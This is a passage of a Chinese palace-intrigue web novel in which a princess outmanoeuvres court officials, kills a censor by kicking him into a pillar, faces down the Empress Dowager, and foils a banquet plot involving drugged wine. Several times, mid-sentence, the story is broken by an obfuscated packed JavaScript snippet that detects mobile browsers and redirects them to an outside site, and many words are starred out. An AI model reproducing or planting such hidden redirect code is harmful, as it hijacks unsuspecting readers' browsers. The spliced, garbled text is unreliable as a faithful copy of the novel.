慕馨宁到的时候,谢御史正面如土色精神萎靡的跪在金銮殿门口,眼看着这人就要挺不住了,仿佛一阵风吹过来,就要将他刮倒。 慕馨宁顿住脚步,有些好奇:“又死谏了?” 这谢御史怎么总是跟她作对,看来这辈子,不是她死,就是谢御史亡了。 一旁的下人连忙解释:“谢御史**太后娘娘助惠明公主逃婚,说太后什么时候把人交出来,他什么时候吃饭,已经两天水米未进了。” 慕馨宁一脸震惊,没想到谢御史还有**别人的时候。 这人要是饿**,岂不是如了太后的愿? 慕馨宁环顾在场的众人,挥了挥手,让他们都离的远一点。 她俯身,看着谢御史干瘪的泛白的唇,还有那双没了精气的眼睛,压低了声音:“凡事也不能太拼,你**岂不是如了别人的愿?” 谢御史动作僵硬的将目光落在慕馨宁身上,慕馨宁压低了声音:“一会儿你趁着去如厕的功夫,本宫让人悄悄给你送一些吃的。” 谢御史冷哼,对慕馨宁的厌恶很明显。 慕馨宁嗤笑一声,慢悠悠道:“那你就饿死吧,然后你媳妇带着你女儿改嫁,让你女儿叫别的男人爹,没准儿你媳妇和你女儿还要在别人家里为奴为婢,一辈子抬不起头来。” 谢御史看慕馨宁的目光,满是愤怒,他就是**,妻子也未必会改嫁,就不能替他守节吗? 不过,慕馨宁都这么说了,没准她会用什么恶毒的手段,害的他妻儿吃苦受罪,于是只能摇摇晃晃的起身,往茅厕的方向走。 慕馨宁连忙招呼杜若:“快给他送点吃的,他吃饱了好继续**太后。” 杜若:“……” 慕馨宁进了御书房,没想到御书房里还有好几个人影,除了华庭绅,还有两个有些眼生的大臣,都是**她的。 永平帝黑着脸,将**慕馨宁的折子丢到她脚下:“朕给你一个解释的机会。” 第157章 鲜血四溅 慕馨宁看都没看:“皇兄,解释什么,说臣妹怠慢北赫使臣,总要让赫连儒来亲自告臣妹的状才是。” 永平帝觉得也是这个道理,就问:“赫连儒呢?” 慕馨宁:“看中了臣妹府上的一个歌姬,此时……正在翻云覆雨吧。” 众人:“……” 华庭绅冷哼一声:“估计是长公主故意抹黑北赫皇太孙吧。” 这种事情,也是慕馨宁一个姑娘家说得出口的? 慕馨宁盯着华庭绅半晌:“工部尚书,最近工部是不是太闲了,你还有时间来**本宫。” “赫连儒都没说什么,你却是替他鸣不平,莫不是你效忠的不是我皇兄,而是赫连儒?” 永平帝埋头喝了一口茶,看不清他脸上的表情。 都说帝王多疑,慕馨宁如此挑拨离间,永平帝定会多想。 华庭绅看了永平帝一眼,脸色一变:“你,你简直是颠倒黑白!” 慕馨宁一点认真:“怎么是颠倒黑白呢,不信你让人去本宫府上去看看,赫连儒在不在本宫府上,要是本宫真的怠慢他,难道他还死皮赖脸非要待在公主府不成?” 华庭绅身后的一个官员连忙开口:“长公主,听说皇太孙在你府上,手被金雕啄了一个血口子,深可见骨,人更是被金雕的翅膀扇的飞起许久,差点丧命,这件事您敢说没有?” 慕馨宁双手环胸,撇了一眼那个官员:“知道那金雕谁的吗,晏骁寒的,你要**,也应该**晏骁寒,又不是本宫指使那金雕伤人的。” 此话一出,原本理直气壮,怒不可遏的那个官员,顿时没了话,只能无奈的看向华庭绅。 华庭绅一脸正色的对永平帝道:“皇上,就算这件事可以不提,但是长公主有意拉拢各国使臣欲对东陵江山图谋不轨的事情,可是证据确凿!” 华庭绅又从身上掏出一个奏折来,再看慕馨宁的时候,仿佛在看一个将死之人。 这老小子,竟然还有后手的吗? 慕馨宁嘴角上扬,一副拭目以待的样子。 永平帝看完华庭绅的奏折,一脸复杂。 华庭绅直起脊背:“皇上,长公主她勾结各国使臣,就连琉球也在其内,各处驿馆的驿丞皆可作证!” “皇上,老臣**长公主,私下勾结他国使臣,欲图谋不轨,还请皇上明察?” “皇上,臣附议!” “臣也附议!” 御书房里,不知什么时候又多了几个衣冠楚楚的官员,他们看慕馨宁的目光,皆是一副愤慨的样子,仿佛慕馨宁就是一个千古罪人。 苟御史也跪在地上,一脸严肃:“皇上,长公主罪无可恕,若是皇上不能将长公主绳之以法,下官定要以死明志!” “还请皇上为了东陵江山稳固,百姓安宁,赐死长公主啊!” 看着苟御史一副大义凛然的样子,慕馨宁眼皮挑了挑。 上次**她跟北赫使臣勾结,强迫永平帝下旨让刑部侍郎带人搜查她长公主府的,就是这几个人吧? 慕馨宁不怒反笑,看着前头的华庭绅:“哎呦,华尚书果然是尽职尽责,上次因为污蔑本宫勾结北赫使臣被贬官,如今是盼着拿了本公主的罪证,然后官复原职吧?” 华尚书眼底尽是得意,慕馨宁说的没错,这次他拿到的慕馨宁的罪证,扳倒了慕馨宁,定然会官复原职,毕竟这是永平帝当初在文武百官面前,口口声声说的。 至于那个顶替他位置的徐太尉,算个屁,等他官复原职,第一个收拾的就是那个老东西! 永平帝环顾在场的几个官员:“这件事,怕是有什么误会。” 苟御史听了第一个忍不住:“皇上,她不过是一个臭名昭著罪不可恕的公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793556|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您为什么一而再再而三的包庇她,今日您不处置长公主,下官就死在这御书房!” 说着,苟御史已经选中了不远处了一根柱子。 华庭绅也一副为东陵着想的样子:“皇上,虽然她是您同父异母的妹妹,但是她作恶多端,您要是不处置了她,我东陵的江山迟早要毁在她手里啊!” 永平帝摸了摸下巴,其实眼神里似乎有些动摇。 “这……” 慕馨宁心头狠狠地一跳,永平帝的意思,是想给她一个欲加之罪了? 也对,毕竟华庭绅所谓的‘罪证’,也是很充足的。 慕馨宁的书信,确实送到了各国使臣手里,各处驿馆的驿丞若是能作证,她确实很难脱罪。 慕馨宁连忙开口:“皇兄,这其中的真相,可不止您一人知晓,各国使臣手里皆有臣妹的合约,一式三份,某些人若是想污蔑臣妹,那些合约,便会公布于天下。” 永平帝眼里闪过什么,态度坚定了几分:“华尚书,各位大臣,这件事长公主是率先与朕商量好的,她不过就是想跟各国使臣做个小生意而已,是你们误会了。” 慕馨宁咬牙,算是看清了永平帝的真面目,永平帝现在没趁机动她,估计也是惦记着以后的好处。 “皇上,您如此包庇长公主,太让下官寒心了,还希望下官的死能让皇上清醒一些,不要任由长公主为虎作伥啊!” 不只是他,华庭绅几人也觉得永平帝是有意包庇慕馨宁,慕馨宁除了玩儿男人,会做什么生意? 苟御史说着,朝着前头的柱子狠狠地撞了过去。 但是就在苟御史脑袋即将撞在柱子上的时候,又卸了力气。 慕馨宁眼里闪过什么,忽然抬脚,狠狠地踹在苟御史的屁股上。 ‘砰’的一声,苟御史的脑袋狠狠撞在石柱上,顿时鲜血四溅。 第158章 杖三十 华庭绅原本是想拉苟御史一把,其他官员也想伸手,毕竟苟御史是他们的同盟,也不能就这么让人**。 可是没想到慕馨宁忽然下手,华庭绅当即住手,同时也给了其他几个官员一个眼神。 众人眼睁睁看着因为慕馨宁那一脚的原因,苟御史撞的头破血流。 永平帝还来不及震惊,华庭绅当即怒声道:“皇上亲眼所见,长公主她公报私仇,害苟御史性命,还请皇上惩治长公主!” “臣附议!” “臣也附议!” 这一个个都中气十足,差点振破慕馨宁的耳膜,慕馨宁顿时觉得耳朵痒痒。 她掏了掏耳朵,对上永平帝质问的眼神,一脸认真:“苟御史一心求死,但是他力气太小了。这怎么能死透呢,臣妹这是怕他半死不活太过于遭罪,所以帮了他一把。” 这个苟御史,看着刚正不阿,实则就是华庭绅的走狗,那些所有见不得人的脏事,都是苟御史代办的,这个狗官,早就该死。 永平帝:“……” 倒地不起的苟御史,似乎抽搐了两下,听见慕馨宁这话之后,忽然两眼一翻,彻底没了动静,估计是被慕馨宁气死的。 永平帝一个头两个大,他其实确实想要趁机治罪慕馨宁,不管慕馨宁到底有没有罪。 毕竟慕馨宁现在的本事越来越大,而且北赫皇太孙和南岳皇太女都跟她关系不错。 再说晏骁寒,现在对慕馨宁也改变了从前的态度,若是他日慕馨宁强大起来,没准真会造他的反,而且会更加容易。 只可惜,慕馨宁跟各国使臣做生意,都有分他一成红利的标明。 他要是趁机治罪慕馨宁,各国使臣也不会善罢甘休。 至于苟御史,只能怪他太蠢了。 永平帝不得不将各国使臣签好的合约摆在华庭绅面前,华庭绅看完之后,一张脸都扭曲起来:“这绝对不可能!” “你的意思,朕包庇长公主?” 永平帝脸色难看,语气冰冷。 华庭绅顿时不知所措。 所以他折腾这么久,把各处的驿丞都请来了,就为了发难慕馨宁,结果只是个误会? 他确实觉得永平帝包庇慕馨宁,可是这话,他不好轻易说出口。 “老臣不敢,老臣错怪了长公主,还请长公主恕罪。” 慕馨宁呵呵两声:“错怪本宫倒也无大碍,只是你搞这么大阵仗,闹得人仰马翻,苟御史也被你害**,这你承担得起么?” 她这话,直接反过来治华庭绅的罪了。 永平帝喝了口茶,眼神闪烁:“华尚书不明真相,却闹成这个样子,回去闭门思过半个月,罚俸三个月。” 华庭绅差点吐血,却也只能拱手行礼:“……老臣遵命。” 所以,他不但没有扳倒慕馨宁,没有官复原职,还被禁足,还被罚俸? 慕馨宁从御书房出来,看着抬着苟御史尸身的侍卫渐行渐远。 跪在地上的谢御史见苟御史滴落在地面上的血滴,直接打了个饱嗝。 真是最毒不过妇人心,幸好他死谏的时候慕馨宁不在场,否则也被慕馨宁来那么一脚,死不死的不重要,关键是**丢人啊! 慕馨宁给了谢御史一个‘好自为之’的眼神,刚要抬腿出宫,太后身边的王福夹着一把拂尘,从树荫里冒了出来。 “长公主,太后召您过去一趟。”王福朝着慕馨宁躬身。 慕馨宁嘴角扯了扯,既然躲不掉,那她就迎难而上吧。 景阳宫,慕馨宁刚进内殿,一盏茶就狠狠地落在了她的脚下,隔着一层鞋面,慕馨宁仿佛感受到了脚背上的滚烫。 她没说话,太后脸色难看的先发制人:“你说,莞儿失踪的事情,跟你有没有关系!” 慕馨宁面色如常:“儿臣说什么都是无用的,若是母后怀疑,不如派人好好调查,拿了证据再治儿臣的罪不迟。” 芝嬷嬷目光不善的看了慕馨宁一眼,然后开口:“太后何必跟她置气,气坏了自己的身子,岂不是如了某人的愿了?” 某人眼里闪过一抹讥讽:“芝嬷嬷身子骨还算康健吧,母后没少给你用好药吧?” 那把老骨头,挨了三十大板,这才过去多久,就生龙活虎了,还敢跟她阴阳怪气。 一想起在公主府挨的板子,芝嬷嬷就感觉伤口疼的厉害,肺管子都要气炸了:“托长公主的福,老奴暂时死不了,没准儿还能多活两年。” “这件事,哀家还没有好好跟你算算,你之前打了哀家的人多少板子。哀家就要从你的人身上找回来!” 太后沉着脸一拍桌子:“来人啊,把她身边的贱婢拖下去,打三十大板!” 此话一出,门外立刻进来几个侍卫,直奔杜若。 杜若都蒙了,从头到尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801592|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她一句话也没说,规规矩矩老老实实的跟在自家主子身后,这也能挨打? 经历了这么多事,害得她遭了那么大的损失,太后现在也不想给慕馨宁好脸,也不想再跟她逢场作戏了。 她目光冰冷的直勾勾盯着慕馨宁,压迫感十足。 可是,在那几个侍卫要将杜若拖下去毒打的时候,慕馨宁顶着太后凌厉的目光,还是将杜若挡在了身后:“滚下去,敢动本宫的人,本宫要你们的狗命!” 慕馨宁气势十足,几个侍卫顿时就不敢拿人,只能不知所措的看向太后。 “慕馨宁,你不要自讨苦吃!” 太后面色黑沉,她没把那三十板子打在慕馨宁的身上,已经是很给她脸面了,既然慕馨宁如此不识好歹,那就别怪她不客气了。 太后给了芝嬷嬷一个眼神,芝嬷嬷冷声开口:“来人,长公主以下犯上,竟然敢对太后不敬,拖下去,杖三十!” 杜若虽然有些害怕,但还是壮着胆子对慕馨宁道:“主子,还是让奴婢挨那三十板子吧,奴婢身子骨硬朗,能撑得住。” 再说,府上还有个姬神医,她顶多也就受一些皮肉之苦。 慕馨宁才发现,这丫头竟然这么单纯,宫里那恶毒的手段不会摆在明面上,有的人想要你的命,哪怕一板子,那你也活不成。 “母后,您无缘无故责罚儿臣的人,不知道何错之有?” 太后接过宫女新端上来的参茶,正琢磨责罚杜若的借口,毕竟,慕馨宁能问出这句话来,就是想跟她耍嘴皮子功夫。 芝嬷嬷阴沉着一张老脸,冷哼一声:“太后乃东陵最尊贵的女人,想要责罚一个下人,还需要什么缘由?” 这话说的,倒是嚣张,太后眼皮子一跳,忽然有种不好的预感。 慕馨宁嘴角上扬:“芝嬷嬷的意思,母后只是因为看我的丫鬟不顺眼,所以没有缘由的就赏她板子?” 芝嬷嬷嘴皮子动了动,忽然觉得这话说的不大合适,她刚刚也是在气头上。 慕馨宁嘴角上扬,忽然朝着外头拔高了声音:“听见了吧,谢御史?” 太后几个人脸色忽然一变,谢御史怎么会来了景阳宫? 王福甩了一把拂尘,连忙出去看,可外头哪有谢御史的人影。 他脸色难看的从外头折回来:“长公主真会说笑,这个时候,谢御史应该还在金銮殿外头跪着吧?” 第159章 让晏骁寒做你男宠 慕馨宁眼里闪过一抹戏谑:“哦,原来王公公也知道谢御史在金銮殿啊?” 太后眸色闪了闪,她不能一下子弄死慕馨宁,若是弄**她的丫鬟,慕馨宁也不会善罢甘休。 谢御史此时还正在金銮殿**她,为了逼她交出宋菀菀,竟然还闹绝食,此事已经满朝文武皆知。 若是眼下她再闹出什么动静,被谢御史抓住了把柄,那她又该如何是好? 太后气的喝了半盏茶,芝嬷嬷眼睛转了转,然后干笑一声,对慕馨宁道:“长公主与惠明公主不睦众所周知,太后也是过于担心惠明公主,还请长公主体谅太后为人母的苦心。” 慕馨宁诧异:“这件事,跟母后要打杜若板子有什么关系?” 芝嬷嬷哑口无言。 太后心中怒气横生,她的人给了慕馨宁这个**台阶,可是这**偏偏要跟她对着干,真是岂有此理! 不等太后说话,慕馨宁又继续道:“再说宋菀菀只不过是母后的义女,母后就算要关心,也应多关心关心易王。” 提起易王,慕馨宁眼里闪过一抹嘲弄:“之前边境传言,易王跟北赫公主情深义重,怕是有了肌肤之亲,可如今北赫公主却成了皇兄的柔妃,这件事,怕是对易王的名声不大好吧?” 而且这传言,还不是太后跟易王有意为之的,最终却搬起石头砸自己的脚,真是个笑话。 即使太后和易王都觉得,这件事就算丢脸,丢的也是永平帝的脸,可是太后和易王,到底也要付出代价。 慕馨宁处处给太后添堵,太后好不容易恢复一些的头风,现在更严重了。 她脸色难看的扶了扶额头,然后对慕馨宁道:“莞儿失踪,你的嫌疑最大,若是你不能尽快把莞儿找到,后果自负吧。” 慕馨宁眼底闪过一抹冷意,想要祸水东引,倒是个高明的手段。 只可惜这个老妖婆被气糊涂了,竟然当着她的面说了出来,她又怎么会不妨? “母后,儿臣哪有那么大的本事,再说您又没有证据,外头都传言是您护女心切,所以私下将惠明公主藏了起来……” 太后脸色越来越难看,面前的茶盏,又要摔在慕馨宁的脸上。 慕馨宁却话锋一转:“可是他们也是空口无凭,没个证据不是,没准母后也是被冤枉的。” 看似一句善解人意的话,却先把自己摘了个干净。 如果太后执意‘冤枉’慕馨宁,那慕馨宁也可以反过来冤枉她不是,毕竟现在太后正在吃这个亏呢。 “哀家头痛的厉害,扶哀家去躺一躺吧。”太后说着,就朝着芝嬷嬷伸出了手。 直到太后被扶着进了内殿,也没再管慕馨宁。 慕馨宁嘴角扯过一抹冷笑:“母后好好休息,儿臣这就去给母后请太医。” 慕馨宁说着。给了杜若一个眼神,主仆二人就出了景阳宫。 刚出景阳宫的大门,杜若当即就拍自己的胸脯:“太吓人了,奴婢还以为真要挨那三十板子呢。” 慕馨宁嘴角上扬:“我还以为,你很乐意挨打。” 杜若欲言又止,她不是想着给自家主子解围么,不然谁会犯傻,主动讨板子? 最终,太后也没‘交出’宋菀菀来,谢御史以绝食饿晕收尾。 慕馨宁忽然觉得这谢御史虽然倔,但是并不傻,否则死谏那么多次,怎么直到现在还没死? 这几日,慕馨宁一直忙着手工作坊和歌舞厅那边的事情。 歌舞厅那边收拾的差不多,人也选的差不多。 至于表演一事,有乐府出来那几个乐人和歌姬舞姬在,暂且就先表演宫宴上的节目就好,毕竟宫宴上那些个节目,都是慕馨宁‘呕心沥血’创作的。 “阿宁,快来,快来!” 慕馨宁满身疲惫的从外头回来,发现纳兰倾正坐在饭桌旁,周围还坐着好几个相貌不错的男子。 桌上摆了丰盛的饭菜,公主府的好酒、冰沙、奶茶、果汁,摆的满满当当。 慕馨宁嘴角抽了抽,这好像不是纳兰倾的府邸吧,这人怎么还在她这里过上了? 要不是看在之前纳兰倾送了她那么多珠宝的份儿上,她真想把人赶出去。 “这是做什么?”慕馨宁看着一旁那几个男子,脸色不大好看。 自打纳兰倾来,她这公主府搞得跟‘小倌馆’一样。 纳兰倾招呼慕馨宁坐下,看她的眼神里有些心疼:“这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801593|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看你起早贪黑在外头操劳,担心你的身体么,所以今日特意叫了他们来服侍你!” 说着,她给几个人使了个眼色:“让你们来做什么的?” 那几个男子顿时醒悟过来,连忙朝着慕馨宁靠了过来。 “殿下累了吧,在下会吹箫,不如给您吹一曲让您缓缓精神?。” “在下会舞剑,不如给您舞一段?” “殿下,在下按摩的手法还算尚可,不如给您捏捏肩?” 一个个都卯足了劲儿想要好好表现,毕竟纳兰倾说了,只要长公主开心,他们就会得到很多赏赐。 慕馨宁还没等说话,该吹箫的吹箫,该舞剑的舞剑,该按摩的按摩。 原本她还很拘谨,想要把人赶走。毕竟晏骁寒要是知道她这个样子,定会跟她翻脸。 可是,渐渐的,她也顾不得那么多了,人已经沉浸其中。 她顿时感觉小日子好起来了,这辈子好像从来都没这么舒坦过。 纳兰倾往她跟前靠了靠,诱惑道:“这几个,你挑个晚上陪你吧,你放心,反正晏骁寒也不在,这件事我绝对不会告诉他,其他人也定会守口如瓶。” 慕馨宁连忙拒绝:“不必,你快留着吧。” 这要是被晏骁寒知道,定会大发雷霆,她离被幽禁,又不远了。 “怕什么,你是长公主,实在不行我出兵杀了你皇兄,让你登基做女皇,到时候晏骁寒也得乖乖做你的男宠!” 慕馨宁嘴角扯了扯,这梦她以前又不是没做过,但是,梦就是梦,还能真的变成现实不成? 她打了个哈欠,眯着眼靠在椅背上:“这话以后不要说了。” 要是被别人听见,她还不知道要受多大的无妄之灾,纳兰倾倒是拍拍屁股走了,遭罪的还不是她? “嘁,没用。”纳兰倾翻了个白眼,转头又跟一旁的美男眉目传情动手动脚去了。 萧吹的不错,宛转悠扬,让人心情舒畅。 剑舞的也不错,看着也很养眼。 按摩的技术也不错,慕馨宁感觉自己僵硬的身子都松缓了下来。 就在这时,身后忽然传来一声咬牙切齿的怒喝:“慕馨宁,你在做什么?” 第160章 鸿门宴 慕馨宁心头一沉,一回头,果然看见了晏骁寒难看的那张俊脸,她连忙起身,整个人差点摔个跟头。 “你怎么回来了,这么快的吗?” 看着晏骁寒那目光凌厉、杀气腾腾的的样子,纳兰倾第一个先溜了。 几个男子看情况不对,连忙也落荒而逃。 慕馨宁看着怒火中烧的晏骁寒,也有些发怵:“别……别生气,我什么也没干……” 慕馨宁起身到晏骁寒跟前,刚想好好解释,晏骁寒却冷哼一声,拂袖而去。 慕馨宁慌了神儿,提着裙摆就去追。 她心里将纳兰倾骂了个狗血淋头,追出府门口的时候,看着倚靠在门框上打哈欠的门房,慕馨宁抬脚就踹在他屁股上。 门房被踹的一个趔趄,脸色惨白一脸懵逼的看着慕馨宁。 慕馨宁咬牙切齿:“晏骁寒来了也不通报一声,去给本宫领二十大板!” 门房如丧考妣,首辅大人来公主府,难道还要站在门口等着他的通报? 再说以前长公主不是口口声声说,首辅大人来了不能怠慢,直接进门就可以了。 以前首辅大人来,没人通报,长公主不但没说什么,不是还挺高兴的? 晏骁寒翻身上马,扬长而去。 慕馨宁下台阶的时候过于着急,直接踩空,幸好鸦羽出现的及时,连忙扶了一把。 这时候,即墨好不容易打马追上来,看着晏骁寒愤怒的上马离开,慕馨宁又一副做贼心虚的样子,有什么不明白的。 他下马,没好气的开口:“我家大人为了早些见到长公主,那头的事情处理完,就快马加鞭往回赶,您好歹收敛收敛……” 说完,他也打马走了。 “主子,不然,把人追回来?”鸦羽看着慕馨宁难看的脸色,一脸担忧。 慕馨宁无奈:“追吧。” 谁叫这次是她理亏呢。 慕馨宁到晏骁寒府门口的时候,大门紧闭。 鸦羽敲了敲门,里头也没个声音。 最后,实在是鸦羽敲门的动静太大了,里头才传来门房的声音:“我家大人进宫了,不在府里,你们请便吧!” “主子,那我们先回去?”鸦羽不确定的问。 慕馨宁提着衣摆直接坐在台阶上:“等着吧。” 要是晏骁寒回来,看她在这里等了这么久,或许就不跟她置气了。 鸦羽想到什么,开口提醒:“明日崔小姐出嫁,今日侯府设宴招待宾客,您可还要去?” 慕馨宁正犹豫,崔惜颜出嫁,哪有哄晏骁寒重要。 这时有人急匆匆过来,朝着慕馨宁行礼之后,低声开口:“长公主,侯府那边有动静了……” 那人在慕馨宁耳边低语几句,慕馨宁嘴角的笑越来越冷。 “回府。” 慕馨宁回府的时候,信武侯府的人还没走。 他连忙迎到慕馨宁面前:“长公主,明日我家小姐出嫁,特意请了要好的姐妹们聚一聚,长公主今日可定要赏脸。” 请柬都送过了,按道理来说,以慕馨宁和信武侯府的关系,信武侯府没必要再跑这一趟,这不就是鸿门宴么? “好,本宫稍后就去。” 信武侯府的下人得了慕馨宁的话之后,顿时一脸喜色的回去交差了。 夕阳西下时,慕馨宁衣着整齐的从府里出来,刚要上马车,就遇见了从宫里回来的晏骁寒。 他还是穿着之前那身衣服,看着似乎一脸疲态。 江南离京城那么远,他一来一回,还要办正事,却这么短的时间就回来,定然是为了她。 慕馨宁心里愧疚,正要上前说两句话。晏骁寒忽然一甩鞭子,马儿驮着人一溜烟就没影了。 慕馨宁被尘土呛的,差点咳嗽出声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801594|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >杜若和鸦羽对视一眼,都低下头不敢吭声。 今日天气很好,夕阳西下时,彩霞满天,倒像是一副上好的风景画。 只可惜慕馨宁没有心情欣赏。 “哎呦,惜颜怀了世子爷的孩子,怕是嫁进国公府直接就做世子正妃了,我们真是羡慕啊!” “可不是,还是惜颜好命,这以后要是发达了,可不要忘了我们姐妹啊……” 马车到信武侯府时,几个女子正围着崔惜颜,讨好的夸赞。 崔惜颜红着脸,难掩得意:“都是姐妹,我若是日子好过,当然不会忘了你们!” 见慕馨宁从马车上下来。信武侯夫人和崔惜颜笑着上前,热情的跟慕馨宁打招呼。 信武侯夫人:“长公主大驾光临,我侯府真是蓬荜生辉。” 话说的好听,其实信武侯夫人牙都要咬碎了,那日宫宴,慕馨宁只带了几个人出宫,没想到她派出去那么多人要她的命,慕馨宁还是没死,真是命大。 不过今日,她不打算要慕馨宁的命,只要那件事办好了,自然会有人替她动手的。 崔惜颜脸上也挂着假笑:“父亲不在,这能给我们侯府撑脸面的,当然是非长公主莫属了。” 一提起信武侯来,崔惜颜心中苦涩,要不是慕馨宁这个**陷害,侯府怎么会落得如此下场,她成婚父亲都不在身边,也不知道父亲如今身体如何。 一想到这里,她捏紧手里帕子,强忍着眼底的冷意,慕馨宁敢来,那今日定要让她身败名裂! 都说伸手不打笑脸人,可是慕馨宁心情不好,这母女两个又是一肚子坏水,她能让这母女两个好过才怪。 慕馨宁有一下没一下的摇着手里的海棠团扇,语气有几分阴阳:“果然是人逢喜事精神爽,本宫上次来的时候,崔小姐和侯夫人正为了死去的崔玉博伤怀,连个好脸都没给本宫,如今倒是不一样了。” 第161章 手段卑鄙 信武侯夫人和崔惜颜的脸色瞬间难看起来。 不等二人说话,侯府一个旁支夫人怒声开口:“长公主何必这么咄咄逼人,崔公子还不是你害死的,现在侯夫人和惜颜能不计前嫌请你来做客,你就应该感恩戴德,怎么还往人家伤口上撒盐?” 此话一出,众人看慕馨宁的目光满是轻蔑,但慕馨宁的身份摆在这里,其余人都是敢怒不敢言,却一个个的都瞪大眼睛,准备看好戏。 慕馨宁盯着她看了半晌,直到那个夫人被看的浑身不自在,她才缓缓开口:“伤口撒盐的手段,怎么比得上夫人你,你与府上的妾室同时有孕,却故意害的人家小产,你顺利生子,事后竟然还抱着孩子到人家面前炫耀,那妾室伤心之余跳进池子里淹**,你害了两条无辜的生命,如今还敢在本宫面前装好人?” 话音落,众人看那夫人的脸色都变了,没想到她的手段竟然如此卑鄙。 “长公主血口喷人,你……” 慕馨宁冷笑一声打断:“是不是血口喷人,不如请京兆府好好查一查,你敢不敢?” 那个夫人顿时脸色惨白,人都有些站不稳,这不就是明显的做贼心虚? 信武侯夫人原本还等着慕馨宁下不来台,事情闹成这样,只能打圆场。 她扯了帕子擦了擦眼角的泪光:“好了好了,事情都过去了,我只希望侯府以后能跟长公主和睦相处,你们是表姐妹,惜颜有了好归宿,将来也能帮趁着长公主一些。” 慕馨宁嘴角上扬:“不必,本宫可怕某些人表面装好人,背地里却想要本宫的命呢。” 信武侯夫人和崔惜颜脸上都有些挂不住,还是侯府的管家陪着笑脸解围,请大家入府,这件事才这么算了。 席间,慕馨宁被崔惜颜敬酒。 “长公主,以前我们可是十分要好的,不过这些日子大家有些生分,还请长公主多担待,我们化干戈为玉帛,以后还是好姐妹。” 慕馨宁看了一眼面前的酒,眼里的冷意闪过,酒里下药,也没些新奇的手段,真是没意思。 她没说话,端起酒杯一饮而尽。 “本宫有些醉了,出去透透气。” 待崔惜颜回到座位,慕馨宁十分自觉的站起身往外走。 等到了没人的地方,慕馨宁从身上摸出一颗药丸来。 一颗药刚吞下,就有一男子不小心撞进她怀里,男子连忙道歉:“天色昏暗,一时大意,不小心撞了姑娘,姑娘没事吧?” 他故作关心,眼神却半点也不安分,从头到脚将慕馨宁打量一遍,然后又给她抛媚眼。 慕馨宁眼底闪过一抹嫌弃,容貌好的男人她见多了,就这种货色,她还真看不上。 不等慕馨宁说话,鸦羽的**就直接抵在了男子的脖子上。 他吓得一个哆嗦,脸色也惨白:“你……你干什么……” 慕馨宁嘴角上扬,眉头微挑:“按照本宫的要求做,本宫保你荣华富贵,否则现在就要你的命。” 男子也不傻,眼珠子转了转,当即就主动招认:“信武侯夫人让小的引诱长公主,晏首辅已经在来的路上了,等时辰一到,母女二人就带着人撞破我们的好事,然后就等着晏首辅碍于颜面取消和长公主的婚约,再利用晏首辅后对付长公主,侯夫人母女坐收渔翁之利。” 慕馨宁一阵无语,费这么大劲做什么,还不如直接给她酒里下点毒,或者再安排几个刺客要她的命算了。 手段倒是卑鄙,只可惜事情可未必会按照母女二人预料的来发展。 慕馨宁不经意间,发现这人哪里有些古怪。 她脸色一变,一把扯开男子的衣裳,男子吓了一跳,想要制止,可是有碍于脖子上的**,只能认慕馨宁宰割。 “你身上这是什么?” 看着男子一身的红色疙瘩,慕馨宁脸色渐渐难看。 男子有些惊慌,连忙低下头心虚的道:“小的以前是做皮肉生意的,前些日子染了病……” 慕馨宁嗤笑一声,之前还觉得这母女两个手段有些啰嗦,没想到竟然是小看了她们。 时间一点一滴的过去,随着管家的一声:“首辅大人到……” 这场好戏,也就拉开了序幕。 侯夫人笑着迎上去:“首辅大人能来侯府,真是我等的荣幸,首辅大人快请!” 晏骁寒冷着脸,环顾在场的众人,直截了当的问:“长公主在哪里?” 侯夫人连忙招呼了一旁的下人询问。 那下人有些胆怯的开口:“长公主说要在院子里转转,后来遇上一男子……” 晏骁寒:“在哪里?” 下人连忙指了指远处的阁楼。 晏骁寒脚步越来越快,脸色也愈发阴沉。 当他得知慕馨宁在侯府又和别的男人厮混的时候,恨不得一刀将慕馨宁给劈成两半。 侯夫人边走边故作好心的劝道:“首辅大人天人之姿,身份尊贵,长公主这样做 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那慕馨宁又去哪里了,她没在这里跟野男人私会么? 